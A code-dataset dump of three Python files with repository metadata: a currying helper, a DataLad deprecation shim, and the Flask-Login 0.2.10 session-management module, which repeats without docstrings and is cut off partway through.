from functools import wraps from inspect import signature, isbuiltin, isclass def curry(func, args=None, kwargs=None, n=None, use_defaults=False): if use_defaults: return CurriedDefault(func, args, kwargs, n) return Curried(func, args, kwargs, n) class Curried: def __init__(self, func, args=None, kwargs=None, target_arg_count=None): if not callable(func): raise TypeError('first argument must be callable') wraps(func)(self) self.func = func self.args = or_else(args, tuple()) self.kwargs = or_else(kwargs, dict()) self.target_arg_count = or_else(target_arg_count, get_target_arg_count(func)) def __call__(self, *new_args, **new_kwargs): args = self.args + new_args kwargs = self.kwargs.copy() kwargs.update(new_kwargs) if self._have_enough_args(args, kwargs): return self.func(*args, **kwargs) return self._clone(args, kwargs) def _clone(self, args, kwargs): return Curried(self.func, args, kwargs, self.target_arg_count) def _have_enough_args(self, args, kwargs): return current_count(args, kwargs) == self.target_arg_count class CurriedDefault(Curried): def _clone(self, args, kwargs): return CurriedDefault(self.func, args, kwargs, self.target_arg_count) def _have_enough_args(self, args, kwargs): count = current_count(args, kwargs) return count == self.target_arg_count or count == (self.target_arg_count - count_defaults(self.func)) def or_else(x, default): return x if x is not None else default def current_count(next_args, next_kwargs): return len(next_args) + len(next_kwargs) def count_defaults(func): length = 0 if func.__defaults__ is not None: length += len(func.__defaults__) if func.__kwdefaults__ is not None: length += len(func.__kwdefaults__) return length def get_target_arg_count(func): if isclass(func) or isbuiltin(func): func = func.__call__ sig = signature(func) return len(sig.parameters)

true

f7051948f84339215d44128dbd1290fdb16a154f

786

py

Python

datalad/interface/download_url.py

AKSoo/datalad

dbc34478980c808a86b5531316c986abac953e37

[ "MIT" ]

null

datalad/interface/download_url.py

AKSoo/datalad

dbc34478980c808a86b5531316c986abac953e37

[ "MIT" ]

1

2020-12-01T20:13:51.000Z

datalad/interface/download_url.py

jwodder/datalad

2b92a764fdc64b750dad68eb51c817218a1ec153

[ "MIT" ]

null

# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*- # ex: set sts=4 ts=4 sw=4 et: # ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ## # # See COPYING file distributed along with the datalad package for the # copyright and license terms. # # ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ## """Obsolete module: moved to `local.download_url` """ import warnings warnings.warn( "DownloadURL has been moved to datalad.local.download_url. " "This module was deprecated in 0.16.0, and will be removed in a future " "release. Please adjust the import.", DeprecationWarning) # Import command class to ease 3rd-party transitions from datalad.local.download_url import DownloadURL

37.428571

87

0.57888

true

f7051a146cd3b773029e9815898f0cb11b731acd

30,749

py

Python

venv/lib/python2.7/site-packages/flask_login.py

jessekl/twiliochallenge

2bba8bc2e0928880f1e2abe6b53b96dbc67ef34f

[ "MIT" ]

2

2015-11-05T09:43:45.000Z

2017-05-31T14:22:02.000Z

flask/lib/site-packages/flask_login.py

CodingForChange/praquemdoar

575d67d211473f352adcd9d7c405c7a5cf18fc6e

[ "Apache-2.0" ]

null

flask/lib/site-packages/flask_login.py

CodingForChange/praquemdoar

575d67d211473f352adcd9d7c405c7a5cf18fc6e

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- ''' flask.ext.login --------------- This module provides user session management for Flask. It lets you log your users in and out in a database-independent manner. :copyright: (c) 2011 by Matthew Frazier. :license: MIT/X11, see LICENSE for more details. ''' __version_info__ = ('0', '2', '10') __version__ = '.'.join(__version_info__) __author__ = 'Matthew Frazier' __license__ = 'MIT/X11' __copyright__ = '(c) 2011 by Matthew Frazier' __all__ = ['LoginManager'] from flask import (_request_ctx_stack, abort, current_app, flash, redirect, request, session, url_for, has_request_context) from flask.signals import Namespace from werkzeug.local import LocalProxy from werkzeug.security import safe_str_cmp from werkzeug.urls import url_decode, url_encode from datetime import datetime, timedelta from functools import wraps from hashlib import sha1, md5 import hmac import warnings import sys if sys.version < '3': # pragma: no cover from urlparse import urlparse, urlunparse else: # pragma: no cover from urllib.parse import urlparse, urlunparse unicode = str _signals = Namespace() #: A proxy for the current user. If no user is logged in, this will be an #: anonymous user current_user = LocalProxy(lambda: _get_user()) #: The default name of the "remember me" cookie (``remember_token``) COOKIE_NAME = 'remember_token' #: The default time before the "remember me" cookie expires (365 days). COOKIE_DURATION = timedelta(days=365) #: Whether the "remember me" cookie requires Secure; defaults to ``None`` COOKIE_SECURE = None #: Whether the "remember me" cookie uses HttpOnly or not; defaults to ``False`` COOKIE_HTTPONLY = False #: The default flash message to display when users need to log in. LOGIN_MESSAGE = u'Please log in to access this page.' #: The default flash message category to display when users need to log in. LOGIN_MESSAGE_CATEGORY = 'message' #: The default flash message to display when users need to reauthenticate. REFRESH_MESSAGE = u'Please reauthenticate to access this page.' #: The default flash message category to display when users need to #: reauthenticate. REFRESH_MESSAGE_CATEGORY = 'message' #: The default attribute to retreive the unicode id of the user ID_ATTRIBUTE = 'get_id' #: Default name of the auth header (``Authorization``) AUTH_HEADER_NAME = 'Authorization' class LoginManager(object): ''' This object is used to hold the settings used for logging in. Instances of :class:`LoginManager` are *not* bound to specific apps, so you can create one in the main body of your code and then bind it to your app in a factory function. ''' def __init__(self, app=None, add_context_processor=True): #: A class or factory function that produces an anonymous user, which #: is used when no one is logged in. self.anonymous_user = AnonymousUserMixin #: The name of the view to redirect to when the user needs to log in. #: (This can be an absolute URL as well, if your authentication #: machinery is external to your application.) self.login_view = None #: The message to flash when a user is redirected to the login page. self.login_message = LOGIN_MESSAGE #: The message category to flash when a user is redirected to the login #: page. self.login_message_category = LOGIN_MESSAGE_CATEGORY #: The name of the view to redirect to when the user needs to #: reauthenticate. self.refresh_view = None #: The message to flash when a user is redirected to the 'needs #: refresh' page. self.needs_refresh_message = REFRESH_MESSAGE #: The message category to flash when a user is redirected to the #: 'needs refresh' page. self.needs_refresh_message_category = REFRESH_MESSAGE_CATEGORY #: The mode to use session protection in. This can be either #: ``'basic'`` (the default) or ``'strong'``, or ``None`` to disable #: it. self.session_protection = 'basic' #: If present, used to translate flash messages ``self.login_message`` #: and ``self.needs_refresh_message`` self.localize_callback = None self.token_callback = None self.user_callback = None self.unauthorized_callback = None self.needs_refresh_callback = None self.id_attribute = ID_ATTRIBUTE self.header_callback = None self.request_callback = None if app is not None: self.init_app(app, add_context_processor) def setup_app(self, app, add_context_processor=True): # pragma: no cover ''' This method has been deprecated. Please use :meth:`LoginManager.init_app` instead. ''' warnings.warn('Warning setup_app is deprecated. Please use init_app.', DeprecationWarning) self.init_app(app, add_context_processor) def init_app(self, app, add_context_processor=True): ''' Configures an application. This registers an `after_request` call, and attaches this `LoginManager` to it as `app.login_manager`. :param app: The :class:`flask.Flask` object to configure. :type app: :class:`flask.Flask` :param add_context_processor: Whether to add a context processor to the app that adds a `current_user` variable to the template. Defaults to ``True``. :type add_context_processor: bool ''' app.login_manager = self app.after_request(self._update_remember_cookie) self._login_disabled = app.config.get('LOGIN_DISABLED', app.config.get('TESTING', False)) if add_context_processor: app.context_processor(_user_context_processor) def unauthorized(self): ''' This is called when the user is required to log in. If you register a callback with :meth:`LoginManager.unauthorized_handler`, then it will be called. Otherwise, it will take the following actions: - Flash :attr:`LoginManager.login_message` to the user. - Redirect the user to `login_view`. (The page they were attempting to access will be passed in the ``next`` query string variable, so you can redirect there if present instead of the homepage.) If :attr:`LoginManager.login_view` is not defined, then it will simply raise a HTTP 401 (Unauthorized) error instead. This should be returned from a view or before/after_request function, otherwise the redirect will have no effect. ''' user_unauthorized.send(current_app._get_current_object()) if self.unauthorized_callback: return self.unauthorized_callback() if not self.login_view: abort(401) if self.login_message: if self.localize_callback is not None: flash(self.localize_callback(self.login_message), category=self.login_message_category) else: flash(self.login_message, category=self.login_message_category) return redirect(login_url(self.login_view, request.url)) def user_loader(self, callback): ''' This sets the callback for reloading a user from the session. The function you set should take a user ID (a ``unicode``) and return a user object, or ``None`` if the user does not exist. :param callback: The callback for retrieving a user object. :type callback: unicode ''' self.user_callback = callback return callback def header_loader(self, callback): ''' This sets the callback for loading a user from a header value. The function you set should take an authentication token and return a user object, or `None` if the user does not exist. :param callback: The callback for retrieving a user object. ''' self.header_callback = callback return callback def request_loader(self, callback): ''' This sets the callback for loading a user from a Flask request. The function you set should take Flask request object and return a user object, or `None` if the user does not exist. :param callback: The callback for retrieving a user object. ''' self.request_callback = callback return callback def token_loader(self, callback): ''' This sets the callback for loading a user from an authentication token. The function you set should take an authentication token (a ``unicode``, as returned by a user's `get_auth_token` method) and return a user object, or ``None`` if the user does not exist. :param callback: The callback for retrieving a user object. :type callback: unicode ''' self.token_callback = callback return callback def unauthorized_handler(self, callback): ''' This will set the callback for the `unauthorized` method, which among other things is used by `login_required`. It takes no arguments, and should return a response to be sent to the user instead of their normal view. :param callback: The callback for unauthorized users. :type callback: function ''' self.unauthorized_callback = callback return callback def needs_refresh_handler(self, callback): ''' This will set the callback for the `needs_refresh` method, which among other things is used by `fresh_login_required`. It takes no arguments, and should return a response to be sent to the user instead of their normal view. :param callback: The callback for unauthorized users. :type callback: function ''' self.needs_refresh_callback = callback return callback def needs_refresh(self): ''' This is called when the user is logged in, but they need to be reauthenticated because their session is stale. If you register a callback with `needs_refresh_handler`, then it will be called. Otherwise, it will take the following actions: - Flash :attr:`LoginManager.needs_refresh_message` to the user. - Redirect the user to :attr:`LoginManager.refresh_view`. (The page they were attempting to access will be passed in the ``next`` query string variable, so you can redirect there if present instead of the homepage.) If :attr:`LoginManager.refresh_view` is not defined, then it will simply raise a HTTP 403 (Forbidden) error instead. This should be returned from a view or before/after_request function, otherwise the redirect will have no effect. ''' user_needs_refresh.send(current_app._get_current_object()) if self.needs_refresh_callback: return self.needs_refresh_callback() if not self.refresh_view: abort(403) if self.localize_callback is not None: flash(self.localize_callback(self.needs_refresh_message), category=self.needs_refresh_message_category) else: flash(self.needs_refresh_message, category=self.needs_refresh_message_category) return redirect(login_url(self.refresh_view, request.url)) def reload_user(self, user=None): ctx = _request_ctx_stack.top if user is None: user_id = session.get('user_id') if user_id is None: ctx.user = self.anonymous_user() else: user = self.user_callback(user_id) if user is None: logout_user() else: ctx.user = user else: ctx.user = user def _load_user(self): '''Loads user from session or remember_me cookie as applicable''' user_accessed.send(current_app._get_current_object()) # first check SESSION_PROTECTION config = current_app.config if config.get('SESSION_PROTECTION', self.session_protection): deleted = self._session_protection() if deleted: return self.reload_user() # If a remember cookie is set, and the session is not, move the # cookie user ID to the session. # # However, the session may have been set if the user has been # logged out on this request, 'remember' would be set to clear, # so we should check for that and not restore the session. is_missing_user_id = 'user_id' not in session if is_missing_user_id: cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) header_name = config.get('AUTH_HEADER_NAME', AUTH_HEADER_NAME) has_cookie = (cookie_name in request.cookies and session.get('remember') != 'clear') if has_cookie: return self._load_from_cookie(request.cookies[cookie_name]) elif header_name in request.headers: return self._load_from_header(request.headers[header_name]) else: return self._load_from_request(request) return self.reload_user() def _session_protection(self): sess = session._get_current_object() ident = _create_identifier() app = current_app._get_current_object() mode = app.config.get('SESSION_PROTECTION', self.session_protection) # if there is no '_id', then take the current one for good if '_id' not in sess: sess['_id'] = ident # if the sess is empty, it's an anonymous user, or just logged out # so we can skip this, unless 'strong' protection is active, # in which case we need to double check for the remember me token check_protection = sess or mode == 'strong' if check_protection and ident != sess.get('_id', None): if mode == 'basic' or sess.permanent: sess['_fresh'] = False session_protected.send(app) return False elif mode == 'strong': sess.clear() sess['remember'] = 'clear' session_protected.send(app) return True return False def _load_from_cookie(self, cookie): if self.token_callback: user = self.token_callback(cookie) if user is not None: session['user_id'] = getattr(user, self.id_attribute)() session['_fresh'] = False _request_ctx_stack.top.user = user else: self.reload_user() else: user_id = decode_cookie(cookie) if user_id is not None: session['user_id'] = user_id session['_fresh'] = False self.reload_user() if _request_ctx_stack.top.user is not None: app = current_app._get_current_object() user_loaded_from_cookie.send(app, user=_get_user()) def _load_from_header(self, header): user = None if self.header_callback: user = self.header_callback(header) if user is not None: self.reload_user(user=user) app = current_app._get_current_object() user_loaded_from_header.send(app, user=_get_user()) else: self.reload_user() def _load_from_request(self, request): user = None if self.request_callback: user = self.request_callback(request) if user is not None: self.reload_user(user=user) app = current_app._get_current_object() user_loaded_from_request.send(app, user=_get_user()) else: self.reload_user() def _update_remember_cookie(self, response): # Don't modify the session unless there's something to do. if 'remember' in session: operation = session.pop('remember', None) if operation == 'set' and 'user_id' in session: self._set_cookie(response) elif operation == 'clear': self._clear_cookie(response) return response def _set_cookie(self, response): # cookie settings config = current_app.config cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) duration = config.get('REMEMBER_COOKIE_DURATION', COOKIE_DURATION) domain = config.get('REMEMBER_COOKIE_DOMAIN') secure = config.get('REMEMBER_COOKIE_SECURE', COOKIE_SECURE) httponly = config.get('REMEMBER_COOKIE_HTTPONLY', COOKIE_HTTPONLY) # prepare data if self.token_callback: data = current_user.get_auth_token() else: data = encode_cookie(str(session['user_id'])) expires = datetime.utcnow() + duration # actually set it response.set_cookie(cookie_name, value=data, expires=expires, domain=domain, secure=secure, httponly=httponly) def _clear_cookie(self, response): config = current_app.config cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) domain = config.get('REMEMBER_COOKIE_DOMAIN') response.delete_cookie(cookie_name, domain=domain) class UserMixin(object): ''' This provides default implementations for the methods that Flask-Login expects user objects to have. ''' def is_active(self): return True def is_authenticated(self): return True def is_anonymous(self): return False def get_id(self): try: return unicode(self.id) except AttributeError: raise NotImplementedError('No `id` attribute - override `get_id`') def __eq__(self, other): ''' Checks the equality of two `UserMixin` objects using `get_id`. ''' if isinstance(other, UserMixin): return self.get_id() == other.get_id() return NotImplemented def __ne__(self, other): ''' Checks the inequality of two `UserMixin` objects using `get_id`. ''' equal = self.__eq__(other) if equal is NotImplemented: return NotImplemented return not equal if sys.version_info[0] != 2: # pragma: no cover # Python 3 implicitly set __hash__ to None if we override __eq__ # We set it back to its default implementation __hash__ = object.__hash__ class AnonymousUserMixin(object): ''' This is the default object for representing an anonymous user. ''' def is_authenticated(self): return False def is_active(self): return False def is_anonymous(self): return True def get_id(self): return def encode_cookie(payload): ''' This will encode a ``unicode`` value into a cookie, and sign that cookie with the app's secret key. :param payload: The value to encode, as `unicode`. :type payload: unicode ''' return u'{0}|{1}'.format(payload, _cookie_digest(payload)) def decode_cookie(cookie): ''' This decodes a cookie given by `encode_cookie`. If verification of the cookie fails, ``None`` will be implicitly returned. :param cookie: An encoded cookie. :type cookie: str ''' try: payload, digest = cookie.rsplit(u'|', 1) if hasattr(digest, 'decode'): digest = digest.decode('ascii') # pragma: no cover except ValueError: return if safe_str_cmp(_cookie_digest(payload), digest): return payload def make_next_param(login_url, current_url): ''' Reduces the scheme and host from a given URL so it can be passed to the given `login` URL more efficiently. :param login_url: The login URL being redirected to. :type login_url: str :param current_url: The URL to reduce. :type current_url: str ''' l = urlparse(login_url) c = urlparse(current_url) if (not l.scheme or l.scheme == c.scheme) and \ (not l.netloc or l.netloc == c.netloc): return urlunparse(('', '', c.path, c.params, c.query, '')) return current_url def login_url(login_view, next_url=None, next_field='next'): ''' Creates a URL for redirecting to a login page. If only `login_view` is provided, this will just return the URL for it. If `next_url` is provided, however, this will append a ``next=URL`` parameter to the query string so that the login view can redirect back to that URL. :param login_view: The name of the login view. (Alternately, the actual URL to the login view.) :type login_view: str :param next_url: The URL to give the login view for redirection. :type next_url: str :param next_field: What field to store the next URL in. (It defaults to ``next``.) :type next_field: str ''' if login_view.startswith(('https://', 'http://', '/')): base = login_view else: base = url_for(login_view) if next_url is None: return base parts = list(urlparse(base)) md = url_decode(parts[4]) md[next_field] = make_next_param(base, next_url) parts[4] = url_encode(md, sort=True) return urlunparse(parts) def make_secure_token(*args, **options): ''' This will create a secure token that you can use as an authentication token for your users. It uses heavy-duty HMAC encryption to prevent people from guessing the information. (To make it even more effective, if you will never need to regenerate the token, you can pass some random data as one of the arguments.) :param \*args: The data to include in the token. :type args: args :param \*\*options: To manually specify a secret key, pass ``key=THE_KEY``. Otherwise, the ``current_app`` secret key will be used. :type \*\*options: kwargs ''' key = options.get('key') key = _secret_key(key) l = [s if isinstance(s, bytes) else s.encode('utf-8') for s in args] payload = b'\0'.join(l) token_value = hmac.new(key, payload, sha1).hexdigest() if hasattr(token_value, 'decode'): # pragma: no cover token_value = token_value.decode('utf-8') # ensure bytes return token_value def login_fresh(): ''' This returns ``True`` if the current login is fresh. ''' return session.get('_fresh', False) def login_user(user, remember=False, force=False): ''' Logs a user in. You should pass the actual user object to this. If the user's `is_active` method returns ``False``, they will not be logged in unless `force` is ``True``. This will return ``True`` if the log in attempt succeeds, and ``False`` if it fails (i.e. because the user is inactive). :param user: The user object to log in. :type user: object :param remember: Whether to remember the user after their session expires. Defaults to ``False``. :type remember: bool :param force: If the user is inactive, setting this to ``True`` will log them in regardless. Defaults to ``False``. :type force: bool ''' if not force and not user.is_active(): return False user_id = getattr(user, current_app.login_manager.id_attribute)() session['user_id'] = user_id session['_fresh'] = True session['_id'] = _create_identifier() if remember: session['remember'] = 'set' _request_ctx_stack.top.user = user user_logged_in.send(current_app._get_current_object(), user=_get_user()) return True def logout_user(): ''' Logs a user out. (You do not need to pass the actual user.) This will also clean up the remember me cookie if it exists. ''' if 'user_id' in session: session.pop('user_id') if '_fresh' in session: session.pop('_fresh') cookie_name = current_app.config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) if cookie_name in request.cookies: session['remember'] = 'clear' user = _get_user() if user and not user.is_anonymous(): user_logged_out.send(current_app._get_current_object(), user=user) current_app.login_manager.reload_user() return True def confirm_login(): ''' This sets the current session as fresh. Sessions become stale when they are reloaded from a cookie. ''' session['_fresh'] = True session['_id'] = _create_identifier() user_login_confirmed.send(current_app._get_current_object()) def login_required(func): ''' If you decorate a view with this, it will ensure that the current user is logged in and authenticated before calling the actual view. (If they are not, it calls the :attr:`LoginManager.unauthorized` callback.) For example:: @app.route('/post') @login_required def post(): pass If there are only certain times you need to require that your user is logged in, you can do so with:: if not current_user.is_authenticated(): return current_app.login_manager.unauthorized() ...which is essentially the code that this function adds to your views. It can be convenient to globally turn off authentication when unit testing. To enable this, if either of the application configuration variables `LOGIN_DISABLED` or `TESTING` is set to `True`, this decorator will be ignored. :param func: The view function to decorate. :type func: function ''' @wraps(func) def decorated_view(*args, **kwargs): if current_app.login_manager._login_disabled: return func(*args, **kwargs) elif not current_user.is_authenticated(): return current_app.login_manager.unauthorized() return func(*args, **kwargs) return decorated_view def fresh_login_required(func): ''' If you decorate a view with this, it will ensure that the current user's login is fresh - i.e. there session was not restored from a 'remember me' cookie. Sensitive operations, like changing a password or e-mail, should be protected with this, to impede the efforts of cookie thieves. If the user is not authenticated, :meth:`LoginManager.unauthorized` is called as normal. If they are authenticated, but their session is not fresh, it will call :meth:`LoginManager.needs_refresh` instead. (In that case, you will need to provide a :attr:`LoginManager.refresh_view`.) Behaves identically to the :func:`login_required` decorator with respect to configutation variables. :param func: The view function to decorate. :type func: function ''' @wraps(func) def decorated_view(*args, **kwargs): if current_app.login_manager._login_disabled: return func(*args, **kwargs) elif not current_user.is_authenticated(): return current_app.login_manager.unauthorized() elif not login_fresh(): return current_app.login_manager.needs_refresh() return func(*args, **kwargs) return decorated_view def _get_user(): if has_request_context() and not hasattr(_request_ctx_stack.top, 'user'): current_app.login_manager._load_user() return getattr(_request_ctx_stack.top, 'user', None) def _cookie_digest(payload, key=None): key = _secret_key(key) return hmac.new(key, payload.encode('utf-8'), sha1).hexdigest() def _get_remote_addr(): address = request.headers.get('X-Forwarded-For', request.remote_addr) if address is not None: address = address.encode('utf-8') return address def _create_identifier(): user_agent = request.headers.get('User-Agent') if user_agent is not None: user_agent = user_agent.encode('utf-8') base = '{0}|{1}'.format(_get_remote_addr(), user_agent) if str is bytes: base = unicode(base, 'utf-8', errors='replace') # pragma: no cover h = md5() h.update(base.encode('utf8')) return h.hexdigest() def _user_context_processor(): return dict(current_user=_get_user()) def _secret_key(key=None): if key is None: key = current_app.config['SECRET_KEY'] if isinstance(key, unicode): # pragma: no cover key = key.encode('latin1') # ensure bytes return key # Signals #: Sent when a user is logged in. In addition to the app (which is the #: sender), it is passed `user`, which is the user being logged in. user_logged_in = _signals.signal('logged-in') #: Sent when a user is logged out. In addition to the app (which is the #: sender), it is passed `user`, which is the user being logged out. user_logged_out = _signals.signal('logged-out') #: Sent when the user is loaded from the cookie. In addition to the app (which #: is the sender), it is passed `user`, which is the user being reloaded. user_loaded_from_cookie = _signals.signal('loaded-from-cookie') #: Sent when the user is loaded from the header. In addition to the app (which #: is the #: sender), it is passed `user`, which is the user being reloaded. user_loaded_from_header = _signals.signal('loaded-from-header') #: Sent when the user is loaded from the request. In addition to the app (which #: is the #: sender), it is passed `user`, which is the user being reloaded. user_loaded_from_request = _signals.signal('loaded-from-request') #: Sent when a user's login is confirmed, marking it as fresh. (It is not #: called for a normal login.) #: It receives no additional arguments besides the app. user_login_confirmed = _signals.signal('login-confirmed') #: Sent when the `unauthorized` method is called on a `LoginManager`. It #: receives no additional arguments besides the app. user_unauthorized = _signals.signal('unauthorized') #: Sent when the `needs_refresh` method is called on a `LoginManager`. It #: receives no additional arguments besides the app. user_needs_refresh = _signals.signal('needs-refresh') #: Sent whenever the user is accessed/loaded #: receives no additional arguments besides the app. user_accessed = _signals.signal('accessed') #: Sent whenever session protection takes effect, and a session is either #: marked non-fresh or deleted. It receives no additional arguments besides #: the app. session_protected = _signals.signal('session-protected')

34.902384

79

0.652769

__version_info__ = ('0', '2', '10') __version__ = '.'.join(__version_info__) __author__ = 'Matthew Frazier' __license__ = 'MIT/X11' __copyright__ = '(c) 2011 by Matthew Frazier' __all__ = ['LoginManager'] from flask import (_request_ctx_stack, abort, current_app, flash, redirect, request, session, url_for, has_request_context) from flask.signals import Namespace from werkzeug.local import LocalProxy from werkzeug.security import safe_str_cmp from werkzeug.urls import url_decode, url_encode from datetime import datetime, timedelta from functools import wraps from hashlib import sha1, md5 import hmac import warnings import sys if sys.version < '3': from urlparse import urlparse, urlunparse else: from urllib.parse import urlparse, urlunparse unicode = str _signals = Namespace() current_user = LocalProxy(lambda: _get_user()) COOKIE_NAME = 'remember_token' COOKIE_DURATION = timedelta(days=365) COOKIE_SECURE = None COOKIE_HTTPONLY = False LOGIN_MESSAGE = u'Please log in to access this page.' LOGIN_MESSAGE_CATEGORY = 'message' REFRESH_MESSAGE = u'Please reauthenticate to access this page.' REFRESH_MESSAGE_CATEGORY = 'message' ID_ATTRIBUTE = 'get_id' AUTH_HEADER_NAME = 'Authorization' class LoginManager(object): def __init__(self, app=None, add_context_processor=True): self.anonymous_user = AnonymousUserMixin self.login_view = None self.login_message = LOGIN_MESSAGE self.login_message_category = LOGIN_MESSAGE_CATEGORY self.refresh_view = None #: refresh' page. self.needs_refresh_message = REFRESH_MESSAGE self.needs_refresh_message_category = REFRESH_MESSAGE_CATEGORY self.session_protection = 'basic' self.localize_callback = None self.token_callback = None self.user_callback = None self.unauthorized_callback = None self.needs_refresh_callback = None self.id_attribute = ID_ATTRIBUTE self.header_callback = None self.request_callback = None if app is not None: self.init_app(app, add_context_processor) def setup_app(self, app, add_context_processor=True): warnings.warn('Warning setup_app is deprecated. Please use init_app.', DeprecationWarning) self.init_app(app, add_context_processor) def init_app(self, app, add_context_processor=True): app.login_manager = self app.after_request(self._update_remember_cookie) self._login_disabled = app.config.get('LOGIN_DISABLED', app.config.get('TESTING', False)) if add_context_processor: app.context_processor(_user_context_processor) def unauthorized(self): user_unauthorized.send(current_app._get_current_object()) if self.unauthorized_callback: return self.unauthorized_callback() if not self.login_view: abort(401) if self.login_message: if self.localize_callback is not None: flash(self.localize_callback(self.login_message), category=self.login_message_category) else: flash(self.login_message, category=self.login_message_category) return redirect(login_url(self.login_view, request.url)) def user_loader(self, callback): self.user_callback = callback return callback def header_loader(self, callback): self.header_callback = callback return callback def request_loader(self, callback): self.request_callback = callback return callback def token_loader(self, callback): self.token_callback = callback return callback def unauthorized_handler(self, callback): self.unauthorized_callback = callback return callback def needs_refresh_handler(self, callback): self.needs_refresh_callback = callback return callback def needs_refresh(self): user_needs_refresh.send(current_app._get_current_object()) if self.needs_refresh_callback: return self.needs_refresh_callback() if not self.refresh_view: abort(403) if self.localize_callback is not None: flash(self.localize_callback(self.needs_refresh_message), category=self.needs_refresh_message_category) else: flash(self.needs_refresh_message, category=self.needs_refresh_message_category) return redirect(login_url(self.refresh_view, request.url)) def reload_user(self, user=None): ctx = _request_ctx_stack.top if user is None: user_id = session.get('user_id') if user_id is None: ctx.user = self.anonymous_user() else: user = self.user_callback(user_id) if user is None: logout_user() else: ctx.user = user else: ctx.user = user def _load_user(self): user_accessed.send(current_app._get_current_object()) config = current_app.config if config.get('SESSION_PROTECTION', self.session_protection): deleted = self._session_protection() if deleted: return self.reload_user() is_missing_user_id = 'user_id' not in session if is_missing_user_id: cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) header_name = config.get('AUTH_HEADER_NAME', AUTH_HEADER_NAME) has_cookie = (cookie_name in request.cookies and session.get('remember') != 'clear') if has_cookie: return self._load_from_cookie(request.cookies[cookie_name]) elif header_name in request.headers: return self._load_from_header(request.headers[header_name]) else: return self._load_from_request(request) return self.reload_user() def _session_protection(self): sess = session._get_current_object() ident = _create_identifier() app = current_app._get_current_object() mode = app.config.get('SESSION_PROTECTION', self.session_protection) if '_id' not in sess: sess['_id'] = ident # so we can skip this, unless 'strong' protection is active, # in which case we need to double check for the remember me token check_protection = sess or mode == 'strong' if check_protection and ident != sess.get('_id', None): if mode == 'basic' or sess.permanent: sess['_fresh'] = False session_protected.send(app) return False elif mode == 'strong': sess.clear() sess['remember'] = 'clear' session_protected.send(app) return True return False def _load_from_cookie(self, cookie): if self.token_callback: user = self.token_callback(cookie) if user is not None: session['user_id'] = getattr(user, self.id_attribute)() session['_fresh'] = False _request_ctx_stack.top.user = user else: self.reload_user() else: user_id = decode_cookie(cookie) if user_id is not None: session['user_id'] = user_id session['_fresh'] = False self.reload_user() if _request_ctx_stack.top.user is not None: app = current_app._get_current_object() user_loaded_from_cookie.send(app, user=_get_user()) def _load_from_header(self, header): user = None if self.header_callback: user = self.header_callback(header) if user is not None: self.reload_user(user=user) app = current_app._get_current_object() user_loaded_from_header.send(app, user=_get_user()) else: self.reload_user() def _load_from_request(self, request): user = None if self.request_callback: user = self.request_callback(request) if user is not None: self.reload_user(user=user) app = current_app._get_current_object() user_loaded_from_request.send(app, user=_get_user()) else: self.reload_user() def _update_remember_cookie(self, response): # Don't modify the session unless there's something to do. if 'remember' in session: operation = session.pop('remember', None) if operation == 'set' and 'user_id' in session: self._set_cookie(response) elif operation == 'clear': self._clear_cookie(response) return response def _set_cookie(self, response): # cookie settings config = current_app.config cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) duration = config.get('REMEMBER_COOKIE_DURATION', COOKIE_DURATION) domain = config.get('REMEMBER_COOKIE_DOMAIN') secure = config.get('REMEMBER_COOKIE_SECURE', COOKIE_SECURE) httponly = config.get('REMEMBER_COOKIE_HTTPONLY', COOKIE_HTTPONLY) # prepare data if self.token_callback: data = current_user.get_auth_token() else: data = encode_cookie(str(session['user_id'])) expires = datetime.utcnow() + duration # actually set it response.set_cookie(cookie_name, value=data, expires=expires, domain=domain, secure=secure, httponly=httponly) def _clear_cookie(self, response): config = current_app.config cookie_name = config.get('REMEMBER_COOKIE_NAME', COOKIE_NAME) domain = config.get('REMEMBER_COOKIE_DOMAIN') response.delete_cookie(cookie_name, domain=domain) class UserMixin(object): def is_active(self): return True def is_authenticated(self): return True def is_anonymous(self): return False def get_id(self): try: return unicode(self.id) except AttributeError: raise NotImplementedError('No `id` attribute - override `get_id`') def __eq__(self, other): if isinstance(other, UserMixin): return self.get_id() == other.get_id() return NotImplemented def __ne__(self, other): equal = self.__eq__(other) if equal is NotImplemented: return NotImplemented return not equal if sys.version_info[0] != 2: # pragma: no cover # Python 3 implicitly set __hash__ to None if we override __eq__ # We set it back to its default implementation __hash__ = object.__hash__ class AnonymousUserMixin(object): def is_authenticated(self): return False def is_active(self): return False def is_anonymous(self): return True def get_id(self): return def encode_cookie(payload): return u'{0}|{1}'.format(payload, _cookie_digest(payload)) def decode_cookie(cookie): try: payload, digest = cookie.rsplit(u'|', 1) if hasattr(digest, 'decode'): digest = digest.decode('ascii') # pragma: no cover except ValueError: return if safe_str_cmp(_cookie_digest(payload), digest): return payload def make_next_param(login_url, current_url): l = urlparse(login_url) c = urlparse(current_url) if (not l.scheme or l.scheme == c.scheme) and \ (not l.netloc or l.netloc == c.netloc): return urlunparse(('', '', c.path, c.params, c.query, '')) return current_url def login_url(login_view, next_url=None, next_field='next'): if login_view.startswith(('https://', 'http://', '/')): base = login_view else: base = url_for(login_view) if next_url is None: return base parts = list(urlparse(base)) md = url_decode(parts[4]) md[next_field] = make_next_param(base, next_url) parts[4] = url_encode(md, sort=True) return urlunparse(parts) def make_secure_token(*args, **options): key = options.get('key') key = _secret_key(key) l = [s if isinstance(s, bytes) else s.encode('utf-8') for s in args] payload = b'\0'.join(l) token_value = hmac.new(key, payload, sha1).hexdigest() if hasattr(token_value, 'decode'): # pragma: no cover token_value = token_value.decode('utf-8') # ensure bytes return token_value def login_fresh(): return session.get('_fresh', False) def login_user(user, remember=False, force=False): if not force and not user.is_active(): return False user_id = getattr(user, current_app.login_manager.id_attribute)() session['user_id'] = user_id session['_fresh'] = True session['_id'] = _create_identifier() if remember: session['remember'] = 'set' _request_ctx_stack.top.user = user user_logged_in.send(current_app._get_current_object(), user=_get_user()) return True def logout_user(): if 'user_id' in session: session.pop('user_id') if '_fresh' in session: session.pop('_fresh') cookie_name = 